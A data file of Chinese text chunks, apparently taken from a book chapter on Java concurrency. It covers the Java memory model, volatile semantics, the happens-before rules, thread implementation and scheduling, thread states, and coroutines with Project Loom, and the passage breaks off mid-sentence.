    {"text": "这句指令中的“addl$0x0，(%esp)”（把ESP寄存器的值加0）显然是一个空操作，之所以用这个空操作而不是空操作专用指令nop，是因为IA32手册规定lock前缀不允许配合nop指令使用。 这里的关键在于lock前缀，查询IA32手册可知，它的作用是将本处理器的缓存写入了内存，该写入动作也会引起别的处理器或者别的内核无效化（Invalidate）其缓存，这种操作相当于对缓存中的变量做了一次前面介绍Java内存模式中所说的“store和write”操作 [4] 。"},
    {"text": "从硬件架构上讲，指令重排序是指处理器采用了允许将多条指令不按程序规定的顺序分开发送给各个相应的电路单元进行处理。 但并不是说指令任意重排，处理器必须能正确处理指令依赖情况保障程序能得出正确的执行结果。 譬如指令1把地址A中的值加10，指令2把地址A中的值乘以2，指令3把地址B中的值减去3，这时指令1和指令2是有依赖的，它们之间的顺序不能重排——(A+10)*2与A*2+10显然不相等，但指令3可以重排到指令1、2之前或者中间，只要保证处理器执行后面依赖到A、B值的操作时能获取正确的A和B值即可。"},
    {"text": "因此，lock addl$0x0，(%esp)指令把修改同步到内存时，意味着所有之前的操作都已经执行完成，这样便形成了“指令重排序无法越过内存屏障”的效果。"},
    {"text": "解决了volatile的语义问题，再来看看在众多保障并发安全的工具中选用volatile的意义——它能让我们的代码比使用其他的同步工具更快吗？ 在某些情况下，volatile的同步机制的性能确实要优于锁（使用synchronized关键字或java.util.concurrent包里面的锁），但是由于虚拟机对锁实行的许多消除和优化，使得我们很难确切地说volatile就会比synchronized快上多少。 如果让volatile自己与自己比较，那可以确定一个原则：volatile变量读操作的性能消耗与普通变量几乎没有什么差别，但是写操作则可能会慢上一些，因为它需要在本地代码中插入许多内存屏障指令来保证处理器不发生乱序执行。"},
    {"text": "假定T表示一个线程，V和W分别表示两个volatile型变量，那么在进行read、load、use、assign、store和write操作时需要满足如下规则： ·只有当线程T对变量V执行的前一个动作是load的时候，线程T才能对变量V执行use动作；"},
    {"text": "并且，只有当线程T对变量V执行的后一个动作是use的时候，线程T才能对变量V执行load动作。 线程T对变量V的use动作可以认为是和线程T对变量V的load、read动作相关联的，必须连续且一起出现。"},
    {"text": "·只有当线程T对变量V执行的前一个动作是assign的时候，线程T才能对变量V执行store动作； 并且，只有当线程T对变量V执行的后一个动作是store的时候，线程T才能对变量V执行assign动作。 线程T对变量V的assign动作可以认为是和线程T对变量V的store、write动作相关联的，必须连续且一起出现。"},
    {"text": "·假定动作A是线程T对变量V实施的use或assign动作，假定动作F是和动作A相关联的load或store动作，假定动作P是和动作F相应的对变量V的read或write动作； 与此类似，假定动作B是线程T对变量W实施的use或assign动作，假定动作G是和动作B相关联的load或store动作，假定动作Q是和动作G相应的对变量W的read或write动作。"},
    {"text": "[1] 使用IntelliJ IDEA的读者请注意，在IDEA中运行这段程序，会由于IDE自动创建一条名为Monitor Ctrl-Break的线程（从名字看应该是监控Ctrl-Break中断信号的）而导致while循环无法结束，改为大于2或者用Thread::join()方法代替可以解决该问题。"},
    {"text": "[2] volatile屏蔽指令重排序的语义在JDK 5中才被完全修复，此前的JDK中即使将变量声明为volatile也仍然不能完全避免重排序所导致的问题（主要是volatile变量前后的代码仍然存在重排序问题），这一点也是在JDK 5之前的Java中无法安全地使用DCL（双锁检测）来实现单例模式的原因。"},
    {"text": "12.3.4 针对long和double型变量的特殊规则 Java内存模型要求lock、unlock、read、load、assign、use、store、write这八种操作都具有原子性，但是对于64位的数据类型（long和double），在模型中特别定义了一条宽松的规定：允许虚拟机将没有被volatile修饰的64位数据的读写操作划分为两次32位的操作来进行，即允许虚拟机实现自行选择是否要保证64位数据类型的load、store、read和write这四个操作的原子性，这就是所谓的“long和double的非原子性协定”（Non-Atomic Treatment of double and long Variables）。 如果有多个线程共享一个并未声明为volatile的long或double类型的变量，并且同时对它们进行读取和修改操作，那么某些线程可能会读取到一个既不是原值，也不是其他线程修改值的代表了“半个变量”的数值。不过这种读取到“半个变量”的情况是非常罕见的，经过实际测试 [1] ，在目前主流平台下商用的64位Java虚拟机中并不会出现非原子性访问行为，但是对于32位的Java虚拟机，譬如比较常用的32位x86平台下的HotSpot虚拟机，对long类型的数据确实存在非原子性访问的风险。从JDK 9起，HotSpot增加了一个实验性的参数-XX：+AlwaysAtomicAccesses（这是JEP 188对Java内存模型更新的一部分内容）来约束虚拟机对所有数据类型进行原子性的访问。而针对double类型，由于现代中央处理器中一般都包含专门用于处理浮点数据的浮点运算器（Floating Point Unit，FPU），用来专门处理单、双精度的浮点数据，所以哪怕是32位虚拟机中通常也不会出现非原子性访问的问题，实际测试也证实了这一点。笔者的看法是，在实际开发中，除非该数据有明确可知的线程竞争，否则我们在编写代码时一般不需要因为这个原因刻意把用到的long和double变量专门声明为volatile。 [1] 根据一篇文章（https://shipilev.net/blog/2014/all-accesses-are-atomic/）的介绍，对于这种情况，在ARMv6、ARMv7、x86、x86-AMD64、PowerPC等平台上都进行了实际测试。"},
    {"text": "12.3.5 原子性、可见性与有序性 介绍完Java内存模型的相关操作和规则后，我们再整体回顾一下这个模型的特征。Java内存模型是围绕着在并发过程中如何处理原子性、可见性和有序性这三个特征来建立的，我们逐个来看一下哪些操作实现了这三个特性。 1.原子性（Atomicity） 由Java内存模型来直接保证的原子性变量操作包括read、load、assign、use、store和write这六个，我们大致可以认为，基本数据类型的访问、读写都是具备原子性的（例外就是long和double的非原子性协定，读者只要知道这件事情就可以了，无须太过在意这些几乎不会发生的例外情况）。 如果应用场景需要一个更大范围的原子性保证（经常会遇到），Java内存模型还提供了lock和unlock操作来满足这种需求，尽管虚拟机未把lock和unlock操作直接开放给用户使用，但是却提供了更高层次的字节码指令monitorenter和monitorexit来隐式地使用这两个操作。这两个字节码指令反映到Java代码中就是同步块——synchronized关键字，因此在synchronized块之间的操作也具备原子性。 2.可见性（Visibility） 可见性就是指当一个线程修改了共享变量的值时，其他线程能够立即得知这个修改。上文在讲解volatile变量的时候我们已详细讨论过这一点。Java内存模型是通过在变量修改后将新值同步回主内存，在变量读取前从主内存刷新变量值这种依赖主内存作为传递媒介的方式来实现可见性的，无论是普通变量还是volatile变量都是如此。普通变量与volatile变量的区别是，volatile的特殊规则保证了新值能立即同步到主内存，以及每次使用前立即从主内存刷新。因此我们可以说volatile保证了多线程操作时变量的可见性，而普通变量则不能保证这一点。 除了volatile之外，Java还有两个关键字能实现可见性，它们是synchronized和final。同步块的可见性是由“对一个变量执行unlock操作之前，必须先把此变量同步回主内存中（执行store、write操作）”这条规则获得的。而final关键字的可见性是指：被final修饰的字段在构造器中一旦被初始化完成，并且构造器没有把“this”的引用传递出去（this引用逃逸是一件很危险的事情，其他线程有可能通过这个引用访问到“初始化了一半”的对象），那么在其他线程中就能看见final字段的值。如代码清单12-7所示，变量i与j都具备可见性，它们无须同步就能被其他线程正确访问。 代码清单12-7 final与可见性 public static final int i; public final int j; static { i = 0; // 省略后续动作 } { // 也可以选择在构造函数中初始化 j = 0; // 省略后续动作 } 3.有序性（Ordering） Java内存模型的有序性在前面讲解volatile时也比较详细地讨论过了，Java程序中天然的有序性可以总结为一句话：如果在本线程内观察，所有的操作都是有序的；如果在一个线程中观察另一个线程，所有的操作都是无序的。前半句是指“线程内似表现为串行的语义”（Within-Thread As-If-Serial Semantics），后半句是指“指令重排序”现象和“工作内存与主内存同步延迟”现象。 Java语言提供了volatile和synchronized两个关键字来保证线程之间操作的有序性，volatile关键字本身就包含了禁止指令重排序的语义，而synchronized则是由“一个变量在同一个时刻只允许一条线程对其进行lock操作”这条规则获得的，这个规则决定了持有同一个锁的两个同步块只能串行地进入。 介绍完并发中三种重要的特性，读者是否发现synchronized关键字在需要这三种特性的时候都可以作为其中一种的解决方案？看起来很“万能”吧？的确，绝大部分并发控制操作都能使用synchronized来完成。synchronized的“万能”也间接造就了它被程序员滥用的局面，越“万能”的并发控制，通常会伴随着越大的性能影响，关于这一点我们将在下一章讲解虚拟机锁优化时再细谈。"},
    {"text": "12.3.6 先行发生原则 如果Java内存模型中所有的有序性都仅靠volatile和synchronized来完成，那么有很多操作都将会变得非常啰嗦，但是我们在编写Java并发代码的时候并没有察觉到这一点，这是因为Java语言中有一个“先行发生”（Happens-Before）的原则。"},
    {"text": "依赖这个原则，我们可以通过几条简单规则一揽子解决并发环境下两个操作之间是否可能存在冲突的所有问题，而不需要陷入Java内存模型苦涩难懂的定义之中。"},
    {"text": "先行发生是Java内存模型中定义的两项操作之间的偏序关系，比如说操作A先行发生于操作B，其实就是说在发生操作B之前，操作A产生的影响能被操作B观察到，“影响”包括修改了内存中共享变量的值、发送了消息、调用了方法等。"},
    {"text": "代码清单12-8 先行发生原则示例1 // 以下操作在线程A中执行 i = 1; // 以下操作在线程B中执行 j = i; // 以下操作在线程C中执行 i = 2; 假设线程A中的操作“i=1”先行发生于线程B的操作“j=i”，那我们就可以确定在线程B的操作执行后，变量j的值一定是等于1，得出这个结论的依据有两个：一是根据先行发生原则，“i=1”的结果可以被观察到；"},
    {"text": "二是线程C还没登场，线程A操作结束之后没有其他线程会修改变量i的值。 现在再来考虑线程C，我们依然保持线程A和B之间的先行发生关系，而C出现在线程A和B的操作之间，但是C与B没有先行发生关系，那j的值会是多少呢？"},
    {"text": "1和2都有可能，因为线程C对变量i的影响可能会被线程B观察到，也可能不会，这时候线程B就存在读取到过期数据的风险，不具备多线程安全性。"},
    {"text": "· volatile变量规则 （Volatile Variable Rule）：对一个volatile变量的写操作先行发生于后面对这个变量的读操作，这里的“后面”同样是指时间上的先后。"},
    {"text": "· 线程启动规则 （Thread Start Rule）：Thread对象的start()方法先行发生于此线程的每一个动作。 · 线程终止规则 （Thread Termination Rule）：线程中的所有操作都先行发生于对此线程的终止检测，我们可以通过Thread::join()方法是否结束、Thread::isAlive()的返回值等手段检测线程是否已经终止执行。 · 线程中断规则 （Thread Interruption Rule）：对线程interrupt()方法的调用先行发生于被中断线程的代码检测到中断事件的发生，可以通过Thread::interrupted()方法检测到是否有中断发生。"},
    {"text": "Java语言无须任何同步手段保障就能成立的先行发生规则有且只有上面这些，下面演示一下如何使用这些规则去判定操作间是否具备顺序性，对于读写共享变量的操作来说，就是线程是否安全。"},
    {"text": "代码清单12-9 先行发生原则示例2 private int value = 0; pubilc void setValue(int value){ this.value = value; } public int getValue(){ return value; } 代码清单12-9中显示的是一组再普通不过的getter/setter方法，假设存在线程A和B，线程A先（时间上的先后）调用了setValue(1)，然后线程B调用了同一个对象的getValue()，那么线程B收到的返回值是什么？"},
    {"text": "因为没有一个适用的先行发生规则，所以最后一条传递性也无从谈起，因此我们可以判定，尽管线程A在操作时间上先于线程B，但是无法确定线程B中getValue()方法的返回结果，换句话说，这里面的操作不是线程安全的。"},
    {"text": "要么把value定义为volatile变量，由于setter方法对value的修改不依赖value的原值，满足volatile关键字使用场景，这样就可以套用volatile变量规则来实现先行发生关系。"},
    {"text": "通过上面的例子，我们可以得出结论：一个操作“时间上的先发生”不代表这个操作会是“先行发生”。 那如果一个操作“先行发生”，是否就能推导出这个操作必定是“时间上的先发生”呢？"},
    {"text": "代码清单12-10 先行发生原则示例3 // 以下操作在同一个线程中执行 int i = 1; int j = 2; 代码清单12-10所示的两条赋值语句在同一个线程之中，根据程序次序规则，“int i=1”的操作先行发生于“int j=2”，但是“int j=2”的代码完全可能先被处理器执行，这并不影响先行发生原则的正确性，因为我们在这条线程之中没有办法感知到这一点。"},
    {"text": "上面两个例子综合起来证明了一个结论：时间先后顺序与先行发生原则之间基本没有因果关系，所以我们衡量并发安全问题的时候不要受时间顺序的干扰，一切必须以先行发生原则为准。"},
    {"text": "12.4 Java与线程 并发不一定要依赖多线程（如PHP中很常见的多进程并发），但是在Java里面谈论并发，基本上都与线程脱不开关系。既然本书探讨的是Java虚拟机的特性，那讲到Java线程，我们就从Java线程在虚拟机中的实现开始讲起。"},
    {"text": "12.4.1 线程的实现 我们知道，线程是比进程更轻量级的调度执行单位，线程的引入，可以把一个进程的资源分配和执行调度分开，各个线程既可以共享进程资源（内存地址、文件I/O等），又可以独立调度。 目前线程是Java里面进行处理器资源调度的最基本单位，不过如果日后Loom项目能成功为Java引入纤程（Fiber）的话，可能就会改变这一点。 主流的操作系统都提供了线程实现，Java语言则提供了在不同硬件和操作系统平台下对线程操作的统一处理，每个已经调用过start()方法且还未结束的java.lang.Thread类的实例就代表着一个线程。"},
    {"text": "我们注意到Thread类与大部分的Java类库API有着显著差别，它的所有关键方法都被声明为Native。 在Java类库API中，一个Native方法往往就意味着这个方法没有使用或无法使用平台无关的手段来实现（当然也可能是为了执行效率而使用Native方法，不过通常最高效率的手段也就是平台相关的手段）。"},
    {"text": "正因为这个原因，本节的标题被定为“线程的实现”而不是“Java线程的实现”，在稍后介绍的实现方式中，我们也先把Java的技术背景放下，以一个通用的应用程序的角度来看看线程是如何实现的。 实现线程主要有三种方式：使用内核线程实现（1：1实现），使用用户线程实现（1：N实现），使用用户线程加轻量级进程混合实现（N：M实现）。 1.内核线程实现 使用内核线程实现的方式也被称为1：1实现。"},
    {"text": "内核线程（Kernel-Level Thread，KLT）就是直接由操作系统内核（Kernel，下称内核）支持的线程，这种线程由内核来完成线程切换，内核通过操纵调度器（Scheduler）对线程进行调度，并负责将线程的任务映射到各个处理器上。 每个内核线程可以视为内核的一个分身，这样操作系统就有能力同时处理多件事情，支持多线程的内核就称为多线程内核（Multi-Threads Kernel）。 程序一般不会直接使用内核线程，而是使用内核线程的一种高级接口——轻量级进程（Light Weight Process，LWP），轻量级进程就是我们通常意义上所讲的线程，由于每个轻量级进程都由一个内核线程支持，因此只有先支持内核线程，才能有轻量级进程。"},
    {"text": "这种轻量级进程与内核线程之间1：1的关系称为一对一的线程模型，如图12-3所示。 图12-3 轻量级进程与内核线程之间1：1的关系 由于内核线程的支持，每个轻量级进程都成为一个独立的调度单元，即使其中某一个轻量级进程在系统调用中被阻塞了，也不会影响整个进程继续工作。 轻量级进程也具有它的局限性：首先，由于是基于内核线程实现的，所以各种线程操作，如创建、析构及同步，都需要进行系统调用。"},
    {"text": "其次，每个轻量级进程都需要有一个内核线程的支持，因此轻量级进程要消耗一定的内核资源（如内核线程的栈空间），因此一个系统支持轻量级进程的数量是有限的。"},
    {"text": "广义上来讲，一个线程只要不是内核线程，都可以认为是用户线程（User Thread，UT）的一种，因此从这个定义上看，轻量级进程也属于用户线程，但轻量级进程的实现始终是建立在内核之上的，许多操作都要进行系统调用，因此效率会受到限制，并不具备通常意义上的用户线程的优点。 图12-4 进程与用户线程之间1：N的关系 而狭义上的用户线程指的是完全建立在用户空间的线程库上，系统内核不能感知到用户线程的存在及如何实现的。"},
    {"text": "如果程序实现得当，这种线程不需要切换到内核态，因此操作可以是非常快速且低消耗的，也能够支持规模更大的线程数量，部分高性能数据库中的多线程就是由用户线程实现的。"},
    {"text": "线程的创建、销毁、切换和调度都是用户必须考虑的问题，而且由于操作系统只把处理器资源分配到进程，那诸如“阻塞如何处理”“多处理器系统中如何将线程映射到其他处理器上”这类问题解决起来将会异常困难，甚至有些是不可能实现的。 因为使用用户线程实现的程序通常都比较复杂 [1] ，除了有明确的需求外（譬如以前在不支持多线程的操作系统中的多线程程序、需要支持大规模线程数量的应用），一般的应用程序都不倾向使用用户线程。"},
    {"text": "3.混合实现 线程除了依赖内核线程实现和完全由用户程序自己实现之外，还有一种将内核线程与用户线程一起使用的实现方式，被称为N：M实现。"},
    {"text": "而操作系统支持的轻量级进程则作为用户线程和内核线程之间的桥梁，这样可以使用内核提供的线程调度功能及处理器映射，并且用户线程的系统调用要通过轻量级进程来完成，这大大降低了整个进程被完全阻塞的风险。"},
    {"text": "在这种混合模式中，用户线程与轻量级进程的数量比是不定的，是N：M的关系，如图12-5所示，这种就是多对多的线程模型。 图12-5 用户线程与轻量级进程之间M：N的关系 许多UNIX系列的操作系统，如Solaris、HP-UX等都提供了M：N的线程模型实现。"},
    {"text": "Java线程在早期的Classic虚拟机上（JDK 1.2以前），是基于一种被称为“绿色线程”（Green Threads）的用户线程实现的，但从JDK 1.3起，“主流”平台上的“主流”商用Java虚拟机的线程模型普遍都被替换为基于操作系统原生线程模型来实现，即采用1：1的线程模型。"},
    {"text": "以HotSpot为例，它的每一个Java线程都是直接映射到一个操作系统原生线程来实现的，而且中间没有额外的间接结构，所以HotSpot自己是不会去干涉线程调度的（可以设置线程优先级给操作系统提供调度建议），全权交给底下的操作系统去处理，所以何时冻结或唤醒线程、该给线程分配多少处理器执行时间、该把线程安排给哪个处理器核心去执行等，都是由操作系统完成的，也都是由操作系统全权决定的。"},
    {"text": "前面强调是两个“主流”，那就说明肯定还有例外的情况，这里举两个比较著名的例子，一个是用于Java ME的CLDC HotSpot Implementation（CLDC-HI，介绍可见第1章）。"},
    {"text": "不过它也可以使用另一种特殊的混合模型，Java线程仍然全部映射到一个内核线程上，但当Java线程要执行一个阻塞调用时，CLDC-HI会为该调用单独开一个内核线程，并且调度执行其他Java线程，等到那个阻塞调用完成之后再重新调度之前的Java线程继续执行。"},
    {"text": "另外一个例子是在Solaris平台的HotSpot虚拟机，由于操作系统的线程特性本来就可以同时支持1：1（通过Bound Threads或Alternate Libthread实现）及N：M（通过LWP/Thread Based Synchronization实现）的线程模型，因此Solaris版的HotSpot也对应提供了两个平台专有的虚拟机参数，即-XX：+UseLWPSynchronization（默认值）和-XX：+UseBoundThreads来明确指定虚拟机使用哪种线程模型。 操作系统支持怎样的线程模型，在很大程度上会影响上面的Java虚拟机的线程是怎样映射的，这一点在不同的平台上很难达成一致，因此《Java虚拟机规范》中才不去限定Java线程需要使用哪种线程模型来实现。"},
    {"text": "[1] 此处所讲的“复杂”与“程序自己完成线程操作”，并不限于程序直接编写了复杂的实现用户线程的代码，使用用户线程的程序时，很多都依赖特定的线程库来完成基本的线程操作，这些复杂性都封装在线程库之中。"},
    {"text": "12.4.2 Java线程调度 线程调度是指系统为线程分配处理器使用权的过程，调度主要方式有两种，分别是协同式（Cooperative Threads-Scheduling）线程调度和抢占式（Preemptive Threads-Scheduling）线程调度。 如果使用协同式调度的多线程系统，线程的执行时间由线程本身来控制，线程把自己的工作执行完了之后，要主动通知系统切换到另外一个线程上去。协同式多线程的最大好处是实现简单，而且由于线程要把自己的事情干完后才会进行线程切换，切换操作对线程自己是可知的，所以一般没有什么线程同步的问题。Lua语言中的“协同例程”就是这类实现。它的坏处也很明显：线程执行时间不可控制，甚至如果一个线程的代码编写有问题，一直不告知系统进行线程切换，那么程序就会一直阻塞在那里。很久以前的Windows 3.x系统就是使用协同式来实现多进程多任务的，那是相当不稳定的，只要有一个进程坚持不让出处理器执行时间，就可能会导致整个系统崩溃。 如果使用抢占式调度的多线程系统，那么每个线程将由系统来分配执行时间，线程的切换不由线程本身来决定。譬如在Java中，有Thread::yield()方法可以主动让出执行时间，但是如果想要主动获取执行时间，线程本身是没有什么办法的。在这种实现线程调度的方式下，线程的执行时间是系统可控的，也不会有一个线程导致整个进程甚至整个系统阻塞的问题。Java使用的线程调度方式就是抢占式调度。与前面所说的Windows 3.x的例子相对，在Windows 9x/NT内核中就是使用抢占式来实现多进程的，当一个进程出了问题，我们还可以使用任务管理器把这个进程杀掉，而不至于导致系统崩溃。 虽然说Java线程调度是系统自动完成的，但是我们仍然可以“建议”操作系统给某些线程多分配一点执行时间，另外的一些线程则可以少分配一点——这项操作是通过设置线程优先级来完成的。Java语言一共设置了10个级别的线程优先级（Thread.MIN_PRIORITY至Thread.MAX_PRIORITY）。在两个线程同时处于Ready状态时，优先级越高的线程越容易被系统选择执行。 不过，线程优先级并不是一项稳定的调节手段，很显然因为主流虚拟机上的Java线程是被映射到系统的原生线程上来实现的，所以线程调度最终还是由操作系统说了算。尽管现代的操作系统基本都提供线程优先级的概念，但是并不见得能与Java线程的优先级一一对应，如Solaris中线程有2147483648（2的31次幂）种优先级，但Windows中就只有七种优先级。如果操作系统的优先级比Java线程优先级更多，那问题还比较好处理，中间留出一点空位就是了，但对于比Java线程优先级少的系统，就不得不出现几个线程优先级对应到同一个操作系统优先级的情况了。表12-1显示了Java线程优先级与Windows线程优先级之间的对应关系，Windows平台的虚拟机中使用了除THREAD_PRIORITY_IDLE之外的其余6种线程优先级，因此在Windows下设置线程优先级为1和2、3和4、6和7、8和9的效果是完全相同的。 表12-1 Java线程优先级与Windows线程优先级之间的对应关系 线程优先级并不是一项稳定的调节手段，这不仅仅体现在某些操作系统上不同的优先级实际会变得相同这一点上，还有其他情况让我们不能过于依赖线程优先级：优先级可能会被系统自行改变，例如在Windows系统中存在一个叫“优先级推进器”的功能（Priority Boosting，当然它可以被关掉），大致作用是当系统发现一个线程被执行得特别频繁时，可能会越过线程优先级去为它分配执行时间，从而减少因为线程频繁切换而带来的性能损耗。因此，我们并不能在程序中通过优先级来完全准确判断一组状态都为Ready的线程将会先执行哪一个。"},
    {"text": "12.4.3 状态转换 Java语言定义了6种线程状态，在任意一个时间点中，一个线程只能有且只有其中的一种状态，并且可以通过特定的方法在不同状态之间转换。这6种状态分别是： ·新建（New）：创建后尚未启动的线程处于这种状态。 ·运行（Runnable）：包括操作系统线程状态中的Running和Ready，也就是处于此状态的线程有可能正在执行，也有可能正在等待着操作系统为它分配执行时间。 ·无限期等待（Waiting）：处于这种状态的线程不会被分配处理器执行时间，它们要等待被其他线程显式唤醒。以下方法会让线程陷入无限期的等待状态： ■没有设置Timeout参数的Object::wait()方法； ■没有设置Timeout参数的Thread::join()方法； ■LockSupport::park()方法。 ·限期等待（Timed Waiting）：处于这种状态的线程也不会被分配处理器执行时间，不过无须等待被其他线程显式唤醒，在一定时间之后它们会由系统自动唤醒。以下方法会让线程进入限期等待状态： ■Thread::sleep()方法； ■设置了Timeout参数的Object::wait()方法； ■设置了Timeout参数的Thread::join()方法； ■LockSupport::parkNanos()方法； ■LockSupport::parkUntil()方法。 ·阻塞（Blocked）：线程被阻塞了，“阻塞状态”与“等待状态”的区别是“阻塞状态”在等待着获取到一个排它锁，这个事件将在另外一个线程放弃这个锁的时候发生；而“等待状态”则是在等待一段时间，或者唤醒动作的发生。在程序等待进入同步区域的时候，线程将进入这种状态。 ·结束（Terminated）：已终止线程的线程状态，线程已经结束执行。 上述6种状态在遇到特定事件发生的时候将会互相转换，它们的转换关系如图12-6所示。 图12-6 线程状态转换关系 12.5 Java与协程 在Java时代的早期，Java语言抽象出来隐藏了各种操作系统线程差异性的统一线程接口，这曾经是它区别于其他编程语言的一大优势。在此基础上，涌现过无数多线程的应用与框架，譬如在网页访问时，HTTP请求可以直接与Servlet API中的一条处理线程绑定在一起，以“一对一服务”的方式处理由浏览器发来的信息。语言与框架已经自动屏蔽了相当多同步和并发的复杂性，对于普通开发者而言，几乎不需要专门针对多线程进行学习训练就能完成一般的并发任务。时至今日，这种便捷的并发编程方式和同步的机制依然在有效地运作着，但是在某些场景下，却也已经显现出了疲态。 12.5.1 内核线程的局限 笔者可以通过一个具体场景来解释目前Java线程面临的困境。今天对Web应用的服务要求，不论是在请求数量上还是在复杂度上，与十多年前相比已不可同日而语，这一方面是源于业务量的增长，另一方面来自于为了应对业务复杂化而不断进行的服务细分。现代B/S系统中一次对外部业务请求的响应，往往需要分布在不同机器上的大量服务共同协作来实现，这种服务细分的架构在减少单个服务复杂度、增加复用性的同时，也不可避免地增加了服务的数量，缩短了留给每个服务的响应时间。这要求每一个服务都必须在极短的时间内完成计算，这样组合多个服务的总耗时才不会太长；也要求每一个服务提供者都要能同时处理数量更庞大的请求，这样才不会出现请求由于某个服务被阻塞而出现等待。 Java目前的并发编程机制就与上述架构趋势产生了一些矛盾，1：1的内核线程模型是如今Java虚拟机线程实现的主流选择，但是这种映射到操作系统上的线程天然的缺陷是切换、调度成本高昂，系统能容纳的线程数量也很有限。以前处理一个请求可以允许花费很长时间在单体应用中，具有这种线程切换的成本也是无伤大雅的，但现在在每个请求本身的执行时间变得很短、数量变得很多的前提下，用户线程切换的开销甚至可能会接近用于计算本身的开销，这就会造成严重的浪费。 传统的Java Web服务器的线程池的容量通常在几十个到两百之间，当程序员把数以百万计的请求往线程池里面灌时，系统即使能处理得过来，但其中的切换损耗也是相当可观的。现实的需求在迫使Java去研究新的解决方案，同大家又开始怀念以前绿色线程的种种好处，绿色线程已随着Classic虚拟机的消失而被尘封到历史之中，它还会有重现天日的一天吗？"},
    {"text": "12.5.2 协程的复苏 经过前面对不同线程实现方式的铺垫介绍，我们已经明白了各种线程实现方式的优缺点，所以多数读者看到笔者写“因为映射到了系统的内核线程中，所以切换调度成本会比较高昂”时并不会觉得有什么问题，但相信还是有一部分治学特别严谨的读者会提问：为什么内核线程调度切换起来成本就要更高？ 内核线程的调度成本主要来自于用户态与核心态之间的状态转换，而这两种状态转换的开销主要来自于响应中断、保护和恢复执行现场的成本。请读者试想以下场景，假设发生了这样一次线程切换： 线程A -> 系统中断 -> 线程B 处理器要去执行线程A的程序代码时，并不是仅有代码程序就能跑得起来，程序是数据与代码的组合体，代码执行时还必须要有上下文数据的支撑。而这里说的“上下文”，以程序员的角度来看，是方法调用过程中的各种局部的变量与资源；以线程的角度来看，是方法的调用栈中存储的各类信息；而以操作系统和硬件的角度来看，则是存储在内存、缓存和寄存器中的一个个具体数值。物理硬件的各种存储设备和寄存器是被操作系统内所有线程共享的资源，当中断发生，从线程A切换到线程B去执行之前，操作系统首先要把线程A的上下文数据妥善保管好，然后把寄存器、内存分页等恢复到线程B挂起时候的状态，这样线程B被重新激活后才能仿佛从来没有被挂起过。这种保护和恢复现场的工作，免不了涉及一系列数据在各种寄存器、缓存中的来回拷贝，当然不可能是一种轻量级的操作。 如果说内核线程的切换开销是来自于保护和恢复现场的成本，那如果改为采用用户线程，这部分开销就能够省略掉吗？答案是“不能”。但是，一旦把保护、恢复现场及调度的工作从操作系统交到程序员手上，那我们就可以打开脑洞，通过玩出很多新的花样来缩减这些开销。 有一些古老的操作系统（譬如DOS）是单人单工作业形式的，天生就不支持多线程，自然也不会有多个调用栈这样的基础设施。而早在那样的蛮荒时代，就已经出现了今天被称为栈纠缠（Stack Twine）的、由用户自己模拟多线程、自己保护恢复现场的工作模式。其大致的原理是通过在内存里划出一片额外空间来模拟调用栈，只要其他“线程”中方法压栈、退栈时遵守规则，不破坏这片空间即可，这样多段代码执行时就会像相互缠绕着一样，非常形象。 到后来，操作系统开始提供多线程的支持，靠应用自己模拟多线程的做法自然是变少了许多，但也并没有完全消失，而是演化为用户线程继续存在。由于最初多数的用户线程是被设计成协同式调度（Cooperative Scheduling）的，所以它有了一个别名——“协程”（Coroutine）。又由于这时候的协程会完整地做调用栈的保护、恢复工作，所以今天也被称为“有栈协程”（Stackfull Coroutine），起这样的名字是为了便于跟后来的“无栈协程”（Stackless Coroutine）区分开。无栈协程不是本节的主角，不过还是可以简单提一下它的典型应用，即各种语言中的await、async、yield这类关键字。无栈协程本质上是一种有限状态机，状态保存在闭包里，自然比有栈协程恢复调用栈要轻量得多，但功能也相对更有限。 协程的主要优势是轻量，无论是有栈协程还是无栈协程，都要比传统内核线程要轻量得多。如果进行量化的话，那么如果不显式设置-Xss或-XX：ThreadStackSize，则在64位Linux上HotSpot的线程栈容量默认是1MB，此外内核数据结构（Kernel Data Structures）还会额外消耗16KB内存。与之相对的，一个协程的栈通常在几百个字节到几KB之间，所以Java虚拟机里线程池容量达到两百就已经不算小了，而很多支持协程的应用中，同时并存的协程数量可数以十万计。 协程当然也有它的局限，需要在应用层面实现的内容（调用栈、调度器这些）特别多，这个缺点就不赘述了。除此之外，协程在最初，甚至在今天很多语言和框架中会被设计成协同式调度，这样在语言运行平台或者框架上的调度器就可以做得非常简单。不过有不少资料上显示，既然取了“协程”这样的名字，它们之间就一定以协同调度的方式工作。笔者并没有查证到这种“规定”的出处，只能说这种提法在今天太过狭隘了，非协同式、可自定义调度的协程的例子并不少见，而协同调度的优点与不足在12.4.2节已经介绍过。 具体到Java语言，还会有一些别的限制，譬如HotSpot这样的虚拟机，Java调用栈跟本地调用栈是做在一起的。如果在协程中调用了本地方法，还能否正常切换协程而不影响整个线程？另外，如果协程中遇传统的线程同步措施会怎样？譬如Kotlin提供的协程实现，一旦遭遇synchronize关键字，那挂起来的仍将是整个线程。"},
    {"text": "12.5.3 Java的解决方案 对于有栈协程，有一种特例实现名为纤程（Fiber），这个词最早是来自微软公司，后来微软还推出过系统层面的纤程包来方便应用做现场保存、恢复和纤程调度。OpenJDK在2018年创建了Loom项目，这是Java用来应对本节开篇所列场景的官方解决方案，根据目前公开的信息，如无意外，日后该项目为Java语言引入的、与现在线程模型平行的新并发编程机制中应该也会采用“纤程”这个名字，不过这显然跟微软是没有任何关系的。从Oracle官方对“什么是纤程”的解释里可以看出，它就是一种典型的有栈协程，如图12-11所示。 图12-7 JVMLS 2018大会上Oracle对纤程的介绍 Loom项目背后的意图是重新提供对用户线程的支持，但与过去的绿色线程不同，这些新功能不是为了取代当前基于操作系统的线程实现，而是会有两个并发编程模型在Java虚拟机中并存，可以在程序中同时使用。新模型有意地保持了与目前线程模型相似的API设计，它们甚至可以拥有一个共同的基类，这样现有的代码就不需要为了使用纤程而进行过多改动，甚至不需要知道背后采用了哪个并发编程模型。Loom团队在JVMLS 2018大会上公布了他们对Jetty基于纤程改造后的测试结果，同样在5000QPS的压力下，以容量为400的线程池的传统模式和每个请求配以一个纤程的新并发处理模式进行对比，前者的请求响应延迟在10000至20000毫秒之间，而后者的延迟普遍在200毫秒以下，具体结果如图12-8所示。 图12-8 Jetty在新并发模型下的压力测试 在新并发模型下，一段使用纤程并发的代码会被分为两部分——执行过程（Continuation）和调度器（Scheduler）。执行过程主要用于维护执行现场，保护、恢复上下文状态，而调度器则负责编排所有要执行的代码的顺序。将调度程序与执行过程分离的好处是，用户可以选择自行控制其中的一个或者多个，而且Java中现有的调度器也可以被直接重用。事实上，Loom中默认的调度器就是原来已存在的用于任务分解的Fork/Join池（JDK 